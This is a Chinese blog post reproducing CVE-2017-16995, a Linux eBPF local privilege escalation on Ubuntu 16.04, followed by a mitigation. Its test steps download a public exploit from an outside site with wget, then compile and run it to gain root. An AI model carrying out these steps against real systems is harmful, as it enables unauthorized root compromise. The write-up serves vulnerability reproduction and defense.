CVE-2017-16995 Ubuntu16.04本地提权漏洞复现
0x01 前言
该漏洞由Google project zero发现。据悉,该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意读写漏洞。该漏洞是由于eBPF验证模块的计算错误产生的。普通用户可以构造特殊的BPF来触发该漏洞,此外恶意攻击者也可以使用该漏洞来进行本地提权操作。
0x02漏洞影响
Linux Kernel Version 4.14-4.4(影响Debian和Ubuntu发行版)
0x03 测试环境
ubuntu16.04 x64
0x04 测试步骤
1.提权exp下载地址:
http://cyseclabs.com/exploits/upstream44.c
2.cd切换到/opt目录下并下载exp:
cd /opt #前提看/opt是不是777权限,不然编译和执行不了exp
wget http://cyseclabs.com/exploits/upstream44.c
3.有的ubuntu没有安装gcc需要执行安装:
sudo apt-get install gcc
如果缺少一些编译组件,则需要安装lib插件
apt-get install libc6-dev
4.然后利用gcc进行编译
gcc -o exp upstream44.c
5.将exp进行更改为可执行权限
chmod +x exp
6.运行exp进行提权
./exp
0x05 漏洞修复
目前暂未有明确的补丁升级方案。 临时建议用户在评估风险后,通过修改内核参数限制普通用户使用bpf(2)系统调用:
echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构